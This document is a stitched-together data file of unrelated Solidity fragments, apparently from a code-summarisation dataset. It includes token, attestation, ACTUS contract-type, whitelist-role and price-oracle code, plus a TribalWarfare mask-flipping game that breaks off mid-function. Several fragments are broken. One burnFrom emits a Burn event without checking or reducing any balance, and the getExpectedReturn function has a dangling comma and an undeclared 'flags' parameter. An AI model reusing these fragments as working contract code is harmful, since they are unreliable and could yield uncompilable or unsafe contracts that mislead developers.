function setTokenEscrowMarketplace(TokenEscrowMarketplace _newTokenEscrowMarketplace) external onlyDuringInitialization {
address oldTokenEscrowMarketplace = tokenEscrowMarketplace;
tokenEscrowMarketplace = _newTokenEscrowMarketplace;
emit TokenEscrowMarketplaceChanged(oldTokenEscrowMarketplace, tokenEscrowMarketplace);
}
}
|
* @notice Revoke an attestation @dev Link is included in dataHash and cannot be directly connected to a BloomID @param _link bytes string embedded in dataHash to link revocation/
|
function revokeAttestationFor(
address _sender,
bytes32 _link,
bytes32 _nonce,
bytes _delegationSig
) external {
validateRevokeForSig(_sender, _link, _nonce, _delegationSig);
revokeAttestationForUser(_link, _sender);
}
| 880,706
|
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pragma solidity ^0.4.16;//800000000, "Revizor Coin", "RR"
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
bytes32 public currentChallenge; // The coin starts with a challenge
uint public timeOfLastProof; // Variable to keep track of when rewards were given
uint public difficulty = 10**32; // Difficulty starts reasonably low
uint constant amounttomine = 5000000;
bool miningGoalReached = false;
uint public mined = 0;
uint public curReward = 0;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
timeOfLastProof = now;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
function proofOfWork(uint nonce) public{
bytes8 n = bytes8(keccak256(nonce, currentChallenge)); // Generate a random hash based on input
require(n >= bytes8(difficulty)); // Check if it's under the difficulty
uint timeSinceLastProof = (now - timeOfLastProof); // Calculate time since last reward was given
require(timeSinceLastProof >= 5 seconds); // Rewards cannot be given too quickly
require(!miningGoalReached);
curReward = timeSinceLastProof; // 1 second = 1 coin
if((curReward+mined)>amounttomine){
curReward = amounttomine - mined;
}
curReward = curReward * 10 ** uint256(decimals);
balanceOf[msg.sender] += curReward; // The reward to the winner grows by the minute
mined+=curReward;
if(mined>=amounttomine){
miningGoalReached = true;
}
difficulty = difficulty * 10 minutes / timeSinceLastProof + 1; // Adjusts the difficulty
timeOfLastProof = now; // Reset the counter
currentChallenge = keccak256(nonce, currentChallenge, block.blockhash(block.number - 1)); // Save a hash that will be used as the next proof
}
}
|
* Destroy tokens from other account Remove `_value` tokens from the system irreversibly on behalf of `_from`. @param _from the address of the sender @param _value the amount of money to burn/
|
function burnFrom(address _from, uint256 _value) public returns (bool success) {
Burn(_from, _value);
return true;
}
| 2,202,855
|
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./full_match/1/0x79a4B5e5f2eF56027fF0e28Ba057fCF141C00509/sources/contracts/UniswapOracle/UniswapAnchoredView.sol
|
* @notice Get the underlying price of a cToken @dev Implements the PriceOracle interface for Compound v2. @param cToken The cToken address for price retrieval @return Price denominated in USD, with 18 decimals, for the given cToken address/ Comptroller needs prices in the format: ${raw price} * 1e(36 - baseUnit) Since the prices in this view have 6 decimals, we must scale them by 1e(36 - 6 - baseUnit)
|
function getUnderlyingPrice(address cToken) external returns (uint) {
TokenConfig memory config = getTokenConfigByCToken(cToken);
return mul(1e30, priceInternal(config)) / config.baseUnit;
}
| 8,331,522
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// "SPDX-License-Identifier: Apache-2.0"
pragma solidity ^0.7.0;
/**
* Commit: https://github.com/atpar/actus-dictionary/commit/b85b9b378967de6bfc4d8b6687b520c48bce9890
* Date: 2020-10-06
*/
// IPS
enum P {D, W, M, Q, H, Y} // P=[D=Days, W=Weeks, M=Months, Q=Quarters, H=Halfyear, Y=Year]
enum S {LONG, SHORT} // S=[+=long stub,- short stub, {} if S empty then - for short stub]
struct IPS {
uint256 i; // I=Integer
P p;
S s;
bool isSet;
}
struct IP {
uint256 i;
P p;
bool isSet;
}
// Number of enum options should be limited to 256 (8 bits) such that 255 enums can be packed fit into 256 bits (bytes32)
enum BusinessDayConvention {NOS, SCF, SCMF, CSF, CSMF, SCP, SCMP, CSP, CSMP}
enum Calendar {NC, MF}
enum ContractPerformance {PF, DL, DQ, DF, MD, TD}
enum ContractReferenceType {CNT, CID, MOC, EID, CST}
enum ContractReferenceRole {UDL, FIL, SEL, COVE, COVI}
enum ContractRole {RPA, RPL, RFL, PFL, RF, PF, BUY, SEL, COL, CNO, UDL, UDLP, UDLM}
enum ContractType {PAM, ANN, NAM, LAM, LAX, CLM, UMP, CSH, STK, COM, SWAPS, SWPPV, FXOUT, CAPFL, FUTUR, OPTNS, CEG, CEC, CERTF, COLLA}
enum CouponType {NOC, FIX, FCN, PRF}
enum CyclePointOfInterestPayment {B, E}
enum CyclePointOfRateReset {B, E}
enum DayCountConvention {AA, A360, A365, _30E360ISDA, _30E360, _28E336, ONE, OBYT, HRSAA, MINAA, SECAA}
enum EndOfMonthConvention {SD, EOM}
// 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
enum EventType {NE, CE, ISS, IED, PRD, FP, PR, PD, PY, PP, IP, IPCI, RRF, RR, DIF, DIX, DIP, COF, COP, REF, REX, REP, SPF, SPS, EXO, EXE, ST, SC, IPCB, PRF, MC, TD, MD, AD}
enum FeeBasis {A, N}
// enum GuaranteedExposure {NO, NI, MV} // not implemented
// enum InterestCalculationBase {NT, NTIED, NTL} // not implemented
// enum PenaltyType {O, A, N, I}
// enum PrepaymentEffect {N, A, M} // not implemented
enum RedeemableByIssuer {Y, N}
enum ScalingEffect {_000, I00, _0N0, IN0}
// enum Seniority {S, J} // not implemented
struct ContractReference {
bytes32 object;
bytes32 object2; // workaround for solc bug (replace object and object2 with single bytes attribute)
ContractReferenceType _type;
ContractReferenceRole role;
}
struct UnderlyingState {
int256 exerciseAmount;
bool isSet;
}
struct ANNState {
ContractPerformance contractPerformance;
uint256 statusDate;
uint256 nonPerformingDate;
uint256 maturityDate;
uint256 terminationDate;
int256 notionalPrincipal;
// int256 notionalPrincipal2;
int256 accruedInterest;
// int256 accruedInterest2;
int256 feeAccrued;
int256 nominalInterestRate;
// int256 nominalInterestRate2;
// int256 interestCalculationBaseAmount;
int256 interestScalingMultiplier;
int256 notionalScalingMultiplier;
int256 nextPrincipalRedemptionPayment;
}
struct CECState {
ContractPerformance contractPerformance;
uint256 statusDate;
uint256 maturityDate;
uint256 exerciseDate;
uint256 terminationDate;
int256 feeAccrued;
int256 exerciseAmount;
}
struct CEGState {
ContractPerformance contractPerformance;
uint256 statusDate;
uint256 nonPerformingDate;
uint256 maturityDate;
uint256 exerciseDate;
uint256 terminationDate;
int256 notionalPrincipal;
int256 feeAccrued;
int256 exerciseAmount;
}
struct CERTFState {
ContractPerformance contractPerformance;
uint256 statusDate;
uint256 nonPerformingDate;
uint256 maturityDate;
uint256 exerciseDate;
uint256 terminationDate;
uint256 lastCouponFixingDate;
int256 exerciseAmount;
int256 exerciseQuantity;
int256 quantity;
int256 couponAmountFixed;
// int256 exerciseQuantityOrdered;
int256 marginFactor;
int256 adjustmentFactor;
}
struct PAMState {
ContractPerformance contractPerformance;
uint256 statusDate;
uint256 nonPerformingDate;
uint256 maturityDate;
uint256 terminationDate;
int256 notionalPrincipal;
// int256 notionalPrincipal2;
int256 accruedInterest;
// int256 accruedInterest2;
int256 feeAccrued;
int256 nominalInterestRate;
// int256 nominalInterestRate2;
// int256 interestCalculationBaseAmount;
int256 interestScalingMultiplier;
int256 notionalScalingMultiplier;
}
struct STKState {
ContractPerformance contractPerformance;
uint256 statusDate;
uint256 nonPerformingDate;
uint256 maturityDate;
uint256 exerciseDate;
uint256 terminationDate;
uint256 lastDividendFixingDate;
// uint256 dividendFixingDate; // not implemented
// uint256 dividendExDate; // not implemented
// uint256 dividendPaymentDate; // not implemented
// uint256 splitSettlementDate; // not implemented
// uint256 redemptionExDate; // not implemented
// uint256 redemptionPaymentDate; // not implemented
int256 notionalPrincipal;
int256 exerciseAmount;
int256 exerciseQuantity;
int256 quantity;
int256 couponAmountFixed;
// int256 exerciseQuantityOrdered;
int256 marginFactor;
int256 adjustmentFactor;
int256 dividendPaymentAmount;
int256 splitRatio;
}
struct COLLAState {
ContractPerformance contractPerformance;
uint256 statusDate;
uint256 nonPerformingDate;
uint256 maturityDate;
uint256 terminationDate;
int256 notionalPrincipal;
int256 accruedInterest;
int256 nominalInterestRate;
int256 interestScalingMultiplier;
int256 notionalScalingMultiplier;
}
struct ANNTerms {
ContractType contractType;
Calendar calendar;
ContractRole contractRole;
DayCountConvention dayCountConvention;
BusinessDayConvention businessDayConvention;
EndOfMonthConvention endOfMonthConvention;
ScalingEffect scalingEffect;
// PenaltyType penaltyType; not implemented
FeeBasis feeBasis;
// ContractPerformance contractPerformance; // state only
// Seniority seniority; // not implemented
// PrepaymentEffect prepaymentEffect; // not implemented
// InterestCalculationBase interestCalculationBase; // not implemented
address currency;
address settlementCurrency;
// bytes32 marketObjectCode; // not implemented
bytes32 marketObjectCodeRateReset;
// bytes32 marketObjectCodeOfScalingIndex; // not implemented
uint256 statusDate;
uint256 initialExchangeDate;
uint256 maturityDate;
uint256 issueDate;
// uint256 terminationDate; // state only
uint256 purchaseDate;
uint256 capitalizationEndDate;
// uint256 ammortizationDate; // not implemented
// uint256 optionExerciseEndDate; // not implemented
// uint256 nonPerformingDate; // state only
uint256 cycleAnchorDateOfInterestPayment;
// uint256 cycleAnchorDateOfInterestCalculationBase; // not implemented
uint256 cycleAnchorDateOfRateReset;
uint256 cycleAnchorDateOfScalingIndex;
uint256 cycleAnchorDateOfFee;
uint256 cycleAnchorDateOfPrincipalRedemption;
// uint256 cycleAnchorDateOfOptionality; // not implemented
int256 notionalPrincipal;
int256 nominalInterestRate;
int256 accruedInterest;
int256 rateMultiplier;
int256 rateSpread;
int256 nextResetRate;
int256 feeRate;
int256 feeAccrued;
// int256 penaltyRate; not implemented
// int256 delinquencyRate; not implemented
int256 premiumDiscountAtIED;
int256 priceAtPurchaseDate;
int256 priceAtTerminationDate;
// int256 creditLineAmount; // not implemented
// int256 scalingIndexAtStatusDate; // not implemented
// int256 marketValueObserved; // not implemented
int256 nextPrincipalRedemptionPayment;
// int256 coverageOfCreditEnhancement;
// int256 interestCalculationBaseAmount; // not implemented
int256 lifeCap;
int256 lifeFloor;
int256 periodCap;
int256 periodFloor;
IP gracePeriod;
IP delinquencyPeriod;
// IP prepaymentPeriod; // not implemented
// IP fixingPeriod; // not implemented
IPS cycleOfInterestPayment;
IPS cycleOfRateReset;
IPS cycleOfScalingIndex;
IPS cycleOfFee;
IPS cycleOfPrincipalRedemption;
// IPS cycleOfOptionality; // not implemented
// IPS cycleOfInterestCalculationBase; // not implemented
}
struct CECTerms {
ContractType contractType;
Calendar calendar;
ContractRole contractRole;
DayCountConvention dayCountConvention;
BusinessDayConvention businessDayConvention;
EndOfMonthConvention endOfMonthConvention;
ContractPerformance creditEventTypeCovered;
FeeBasis feeBasis;
// GuaranteedExposure guaranteedExposure; // not implemented
uint256 statusDate;
uint256 maturityDate;
// uint256 exerciseDate; // state only
int256 notionalPrincipal;
int256 feeRate;
// int256 exerciseAmount; // state only
int256 coverageOfCreditEnhancement;
// IP settlementPeriod; // not implemented
// for simplification since terms are limited only two contract references
// - make ContractReference top level and skip ContractStructure
ContractReference contractReference_1;
ContractReference contractReference_2;
}
struct CEGTerms {
ContractType contractType;
Calendar calendar;
ContractRole contractRole;
DayCountConvention dayCountConvention;
BusinessDayConvention businessDayConvention;
EndOfMonthConvention endOfMonthConvention;
FeeBasis feeBasis;
// ContractPerformance contractPerformance; // state only
ContractPerformance creditEventTypeCovered;
// GuaranteedExposure guaranteedExposure; // not implemented
address currency;
address settlementCurrency;
uint256 statusDate;
uint256 maturityDate;
uint256 purchaseDate;
uint256 cycleAnchorDateOfFee;
// uint256 exerciseDate; // state only
// uint256 nonPerformingDate; // state only
int256 notionalPrincipal;
// int256 delinquencyRate; not implemented
int256 feeAccrued;
int256 feeRate;
int256 priceAtPurchaseDate;
int256 coverageOfCreditEnhancement;
// int256 exerciseAmount; // state only
IP gracePeriod;
IP delinquencyPeriod;
// IP settlementPeriod; // not implemented
IPS cycleOfFee;
// for simplification since terms are limited only two contract references
// - make ContractReference top level and skip ContractStructure
ContractReference contractReference_1;
ContractReference contractReference_2;
}
struct CERTFTerms {
ContractType contractType;
Calendar calendar;
ContractRole contractRole;
DayCountConvention dayCountConvention;
BusinessDayConvention businessDayConvention;
EndOfMonthConvention endOfMonthConvention;
CouponType couponType;
// ContractPerformance contractPerformance; state only
address currency;
address settlementCurrency;
// bytes32 marketObjectCode; // not implemented
uint256 statusDate;
uint256 initialExchangeDate;
uint256 maturityDate;
// uint256 nonPerformingDate; // state only
uint256 issueDate;
// uint256 lastCouponFixingDate; // state only
uint256 cycleAnchorDateOfRedemption;
uint256 cycleAnchorDateOfTermination;
uint256 cycleAnchorDateOfCoupon;
int256 nominalPrice;
int256 issuePrice;
// int256 delinquencyRate; // not implemented
int256 quantity;
// int256 exerciseQuantity; // state only
// int256 exerciseQuantityOrdered; // state only
// int256 marginFactor; // state only
// int256 adjustmentFactor; // state only
int256 denominationRatio;
int256 couponRate;
// int256 exerciseAmount; // state only
// int256 couponAmountFixed; // state only
IP gracePeriod;
IP delinquencyPeriod;
IP settlementPeriod;
IP fixingPeriod;
IP redemptionRecordPeriod;
IPS cycleOfRedemption;
IPS cycleOfTermination;
IPS cycleOfCoupon;
ContractReference contractReference_1;
ContractReference contractReference_2;
}
struct PAMTerms {
ContractType contractType;
Calendar calendar;
ContractRole contractRole;
DayCountConvention dayCountConvention;
BusinessDayConvention businessDayConvention;
EndOfMonthConvention endOfMonthConvention;
ScalingEffect scalingEffect;
// PenaltyType penaltyType; not implemented
FeeBasis feeBasis;
// ContractPerformance contractPerformance; // state only
// Seniority seniority; // not implemented
// PrepaymentEffect prepaymentEffect; // not implemented
// CyclePointOfInterestPayment cyclePointOfInterestPayment; // not implemented
// CyclePointOfRateReset cyclePointOfRateReset; // not implemented
address currency;
address settlementCurrency;
// bytes32 marketObjectCode; // not implemented
bytes32 marketObjectCodeRateReset;
// bytes32 marketObjectCodeOfScalingIndex; // not implemented
uint256 statusDate;
uint256 initialExchangeDate;
uint256 maturityDate;
uint256 issueDate;
// uint256 terminationDate; // state only
uint256 purchaseDate;
uint256 capitalizationEndDate;
// uint256 optionExerciseEndDate; // not implemented
// uint256 nonPerformingDate; // state only
uint256 cycleAnchorDateOfInterestPayment;
uint256 cycleAnchorDateOfRateReset;
uint256 cycleAnchorDateOfScalingIndex;
uint256 cycleAnchorDateOfFee;
// uint256 cycleAnchorDateOfOptionality; // not implemented
int256 notionalPrincipal;
int256 nominalInterestRate;
int256 accruedInterest;
int256 rateMultiplier;
int256 rateSpread;
int256 nextResetRate;
int256 feeRate;
int256 feeAccrued;
// int256 penaltyRate; not implemented
// int256 delinquencyRate; // not implemented
int256 premiumDiscountAtIED;
int256 priceAtPurchaseDate;
int256 priceAtTerminationDate;
// int256 creditLineAmount; // not implemented
// int256 scalingIndexAtStatusDate; // not implemented
// int256 marketValueObserved; // not implemented
int256 lifeCap;
int256 lifeFloor;
int256 periodCap;
int256 periodFloor;
IP gracePeriod;
IP delinquencyPeriod;
// IP prepaymentPeriod; // not implemented
// IP fixingPeriod; // not implemented
IPS cycleOfInterestPayment;
IPS cycleOfRateReset;
IPS cycleOfScalingIndex;
IPS cycleOfFee;
// IPS cycleOfOptionality; // not implemented
}
struct STKTerms {
ContractType contractType;
Calendar calendar;
ContractRole contractRole;
DayCountConvention dayCountConvention;
BusinessDayConvention businessDayConvention;
EndOfMonthConvention endOfMonthConvention;
RedeemableByIssuer redeemableByIssuer;
// Seniority seniority; // not implemented
address currency;
address settlementCurrency;
// bytes32 marketObjectCode; // not implemented
uint256 statusDate;
uint256 issueDate;
uint256 purchaseDate;
uint256 cycleAnchorDateOfDividend;
int256 nominalPrice;
int256 notionalPrincipal;
int256 issuePrice;
int256 quantity;
int256 priceAtPurchaseDate;
int256 redemptionPrice;
int256 priceAtTerminationDate;
IP dividendRecordPeriod;
IP dividendPaymentPeriod;
IP splitSettlementPeriod;
IP redemptionRecordPeriod;
IP redemptionPaymentPeriod;
IPS cycleOfDividend;
}
struct COLLATerms {
ContractType contractType;
Calendar calendar;
ContractRole contractRole;
DayCountConvention dayCountConvention;
BusinessDayConvention businessDayConvention;
EndOfMonthConvention endOfMonthConvention;
// ContractPerformance contractPerformance; // state only
bytes32 marketObjectCodeOfCollateral;
address currency;
address settlementCurrency;
address collateralCurrency;
uint256 statusDate;
uint256 initialExchangeDate;
uint256 maturityDate;
uint256 capitalizationEndDate;
// uint256 nonPerformingDate; // state only
uint256 cycleAnchorDateOfInterestPayment;
int256 notionalPrincipal;
int256 nominalInterestRate;
int256 accruedInterest;
int256 premiumDiscountAtIED;
int256 coverageOfCollateral;
IP gracePeriod;
IP delinquencyPeriod;
IPS cycleOfInterestPayment;
}
|
enum GuaranteedExposure {NO, NI, MV} not implemented enum InterestCalculationBase {NT, NTIED, NTL} not implemented enum PenaltyType {O, A, N, I} enum PrepaymentEffect {N, A, M} not implemented
|
enum RedeemableByIssuer {Y, N}
| 13,076,420
|
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "./WhitelistRoles.sol";
import "./interfaces/IWhitelistRolesWithManager.sol";
import "../access-control-registry/interfaces/IAccessControlRegistry.sol";
/// @title Contract that implements AccessControlRegistry roles for a whitelist
/// contract controlled by a single manager account
contract WhitelistRolesWithManager is
WhitelistRoles,
IWhitelistRolesWithManager
{
/// @notice Address of the manager that manages the related
/// AccessControlRegistry roles
address public immutable override manager;
// Since there will be a single manager, we can derive the roles beforehand
bytes32 public immutable override adminRole;
bytes32 public immutable override whitelistExpirationExtenderRole;
bytes32 public immutable override whitelistExpirationSetterRole;
bytes32 public immutable override indefiniteWhitelisterRole;
/// @param _accessControlRegistry AccessControlRegistry contract address
/// @param _adminRoleDescription Admin role description
/// @param _manager Manager address
constructor(
address _accessControlRegistry,
string memory _adminRoleDescription,
address _manager
) WhitelistRoles(_accessControlRegistry, _adminRoleDescription) {
require(_manager != address(0), "Manager address zero");
manager = _manager;
adminRole = _deriveAdminRole(_manager);
whitelistExpirationExtenderRole = _deriveWhitelistExpirationExtenderRole(
_manager
);
whitelistExpirationSetterRole = _deriveWhitelistExpirationSetterRole(
_manager
);
indefiniteWhitelisterRole = _deriveIndefiniteWhitelisterRole(_manager);
}
/// @dev Returns if the account has the whitelist expiration extender role
/// or is the manager
/// @param account Account address
/// @return If the account has the whitelist extender role or is the
/// manager
function hasWhitelistExpirationExtenderRoleOrIsManager(address account)
internal
view
returns (bool)
{
return
manager == account ||
IAccessControlRegistry(accessControlRegistry).hasRole(
whitelistExpirationExtenderRole,
account
);
}
/// @dev Returns if the account has the whitelist expriation setter role or
/// is the manager
/// @param account Account address
/// @return If the account has the whitelist setter role or is the
/// manager
function hasWhitelistExpirationSetterRoleOrIsManager(address account)
internal
view
returns (bool)
{
return
manager == account ||
IAccessControlRegistry(accessControlRegistry).hasRole(
whitelistExpirationSetterRole,
account
);
}
/// @dev Returns if the account has the indefinite whitelister role or is the
/// manager
/// @param account Account address
/// @return If the account has the indefinite whitelister role or is the
/// manager
function hasIndefiniteWhitelisterRoleOrIsManager(address account)
internal
view
returns (bool)
{
return
manager == account ||
IAccessControlRegistry(accessControlRegistry).hasRole(
indefiniteWhitelisterRole,
account
);
}
}
|
@dev Returns if the account has the whitelist expiration extender role or is the manager @param account Account address @return If the account has the whitelist extender role or is the manager
|
function hasWhitelistExpirationExtenderRoleOrIsManager(address account)
internal
view
returns (bool)
{
return
manager == account ||
IAccessControlRegistry(accessControlRegistry).hasRole(
whitelistExpirationExtenderRole,
account
);
}
| 12,983,376
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./partial_match/4/0x0E69BcCfBC7D80457A6a7A6F12e0279bc964c518/sources/OneSplitAudit.sol
|
@notice Calculate expected returning amount of `destToken` @param fromToken (IERC20) Address of token or `address(0)` for Ether @param destToken (IERC20) Address of token or `address(0)` for Ether @param amount (uint256) Amount for `fromToken` @param parts (uint256) Number of pieces source volume could be splitted, works like granularity, higly affects gas usage. Should be called offchain, but could be called onchain if user swaps not his own funds, but this is still considered as not safe. @param flags (uint256) Flags for enabling and disabling some features, default 0
|
function getExpectedReturn(
IERC20 fromToken,
IERC20 destToken,
uint256 amount,
uint256 parts,
)
public
view
returns(
uint256 returnAmount,
uint256[] memory distribution
)
{
(returnAmount, , distribution) = getExpectedReturnWithGas(
fromToken,
destToken,
amount,
parts,
flags,
0
);
}
| 8,591,284
|
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pragma solidity ^0.4.24;
/***
* https://templeofeth.io
*
* Tribal Warfare.
*
* A timer countdown - starts 12 mins.
* 6 Tribal masks flipping
* Price increase by 35% per flip
* TMPL tokens 10%
* Dev fee: 5 %
* 110% previous owner.
* 5% goes into current pot.
* 5% goes into next pot.
* Each mask has a “time power” that adds 2,4,6,8,10,12 minutes to the timer when the card flips.
* When the timer runs out the round ends and the last mask to flip wins the current pot.
* Next round starts on next flip - prices are reset.
*
* Temple Warning: Do not play with more than you can afford to lose.
*/
contract TempleInterface {
function purchaseFor(address _referredBy, address _customerAddress) public payable returns (uint256);
}
contract TribalWarfare {
/*=================================
= MODIFIERS =
=================================*/
/// @dev Access modifier for owner functions
modifier onlyOwner() {
require(msg.sender == contractOwner);
_;
}
/// @dev Prevent contract calls.
modifier notContract() {
require(tx.origin == msg.sender);
_;
}
/// @dev notPaused
modifier notPaused() {
require(paused == false);
_;
}
/// @dev easyOnGas
modifier easyOnGas() {
require(tx.gasprice < 99999999999);
_;
}
/*==============================
= EVENTS =
==============================*/
event onTokenSold(
uint256 indexed tokenId,
uint256 price,
address prevOwner,
address newOwner,
string name
);
event onRoundEnded(
uint256 indexed roundNumber,
uint256 indexed tokenId,
address owner,
uint256 winnings
);
/*==============================
= CONSTANTS =
==============================*/
uint256 private increaseRatePercent = 135;
uint256 private devFeePercent = 5;
uint256 private currentPotPercent = 5;
uint256 private nextPotPercent = 5;
uint256 private exchangeTokenPercent = 10;
uint256 private previousOwnerPercent = 110;
uint256 private initialRoundDuration = 12 minutes;
/*==============================
= STORAGE =
==============================*/
/// @dev A mapping from token IDs to the address that owns them.
mapping (uint256 => address) public tokenIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
mapping (address => uint256) private ownershipTokenCount;
// @dev The address of the owner
address public contractOwner;
// @dev Current dev fee
uint256 public currentDevFee = 0;
// @dev The address of the temple contract
address public templeOfEthaddress = 0x0e21902d93573c18fd0acbadac4a5464e9732f54; // MAINNET
/// @dev Interface to exchange
TempleInterface public templeContract;
// @dev paused
bool public paused = false;
uint256 public currentPot = 0;
uint256 public nextPot = 0;
uint256 public roundNumber = 0;
uint256 public roundEndingTime = 0;
uint256 public lastFlip = 0; // the last token to flip
/*==============================
= DATATYPES =
==============================*/
struct TribalMask {
string name;
uint256 basePrice;
uint256 currentPrice;
uint256 timePowerMinutes;
}
TribalMask [6] public tribalMasks;
constructor () public {
contractOwner = msg.sender;
templeContract = TempleInterface(templeOfEthaddress);
paused=true;
TribalMask memory _Yucatec = TribalMask({
name: "Yucatec",
basePrice: 0.018 ether,
currentPrice: 0.018 ether,
timePowerMinutes: 12 minutes
});
tribalMasks[0] = _Yucatec;
TribalMask memory _Chiapas = TribalMask({
name: "Chiapas",
basePrice: 0.020 ether,
currentPrice: 0.020 ether,
timePowerMinutes: 10 minutes
});
tribalMasks[1] = _Chiapas;
TribalMask memory _Kekchi = TribalMask({
name: "Kekchi",
basePrice: 0.022 ether,
currentPrice: 0.022 ether,
timePowerMinutes: 8 minutes
});
tribalMasks[2] = _Kekchi;
TribalMask memory _Chontal = TribalMask({
name: "Chontal",
basePrice: 0.024 ether,
currentPrice: 0.024 ether,
timePowerMinutes: 6 minutes
});
tribalMasks[3] = _Chontal;
TribalMask memory _Akatek = TribalMask({
name: "Akatek",
basePrice: 0.028 ether,
currentPrice: 0.028 ether,
timePowerMinutes: 4 minutes
});
tribalMasks[4] = _Akatek;
TribalMask memory _Itza = TribalMask({
name: "Itza",
basePrice: 0.030 ether,
currentPrice: 0.030 ether,
timePowerMinutes: 2 minutes
});
tribalMasks[5] = _Itza;
_transfer(0x0, contractOwner, 0);
_transfer(0x0, contractOwner, 1);
_transfer(0x0, contractOwner, 2);
_transfer(0x0, contractOwner, 3);
_transfer(0x0, contractOwner, 4);
_transfer(0x0, contractOwner, 5);
}
/// @notice Returns all the relevant information about a specific token.
/// @param _tokenId The tokenId of the token of interest.
function getTribalMask(uint256 _tokenId) public view returns (
string maskName,
uint256 basePrice,
uint256 currentPrice,
address currentOwner
) {
TribalMask storage mask = tribalMasks[_tokenId];
maskName = mask.name;
basePrice = mask.basePrice;
currentPrice = priceOf(_tokenId);
currentOwner = tokenIndexToOwner[_tokenId];
}
/// For querying owner of token
/// @param _tokenId The tokenID for owner inquiry
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function () public payable {
// allow donations to the pots for seeding etc.
currentPot = currentPot + SafeMath.div(msg.value,2);
nextPot = nextPot + SafeMath.div(msg.value,2);
}
function start() public payable onlyOwner {
roundNumber = 1;
roundEndingTime = now + initialRoundDuration;
currentPot = currentPot + SafeMath.div(msg.value,2);
nextPot = nextPot + SafeMath.div(msg.value,2);
paused = false;
}
function isRoundEnd() public view returns (bool){
return (now>roundEndingTime);
}
function newRound() internal {
// round is over
// distribute the winnings
tokenIndexToOwner[lastFlip].transfer(currentPot);
// some event
emit onRoundEnded(roundNumber, lastFlip, tokenIndexToOwner[lastFlip], currentPot);
// reset prices
tribalMasks[0].currentPrice=tribalMasks[0].basePrice;
tribalMasks[1].currentPrice=tribalMasks[1].basePrice;
tribalMasks[2].currentPrice=tribalMasks[2].basePrice;
tribalMasks[3].currentPrice=tribalMasks[3].basePrice;
tribalMasks[4].currentPrice=tribalMasks[4].basePrice;
tribalMasks[5].currentPrice=tribalMasks[5].basePrice;
roundNumber++;
roundEndingTime = now + initialRoundDuration;
currentPot = nextPot;
nextPot = 0;
}
// Allows someone to send ether and obtain the token
function purchase(uint256 _tokenId , address _referredBy) public payable notContract notPaused easyOnGas {
// check if round ends
if (now >= roundEndingTime){
newRound();
}
uint256 currentPrice = tribalMasks[_tokenId].currentPrice;
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= currentPrice);
address oldOwner = tokenIndexToOwner[_tokenId];
address newOwner = msg.sender;
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Safety check to prevent against an unexpected 0x0 default.
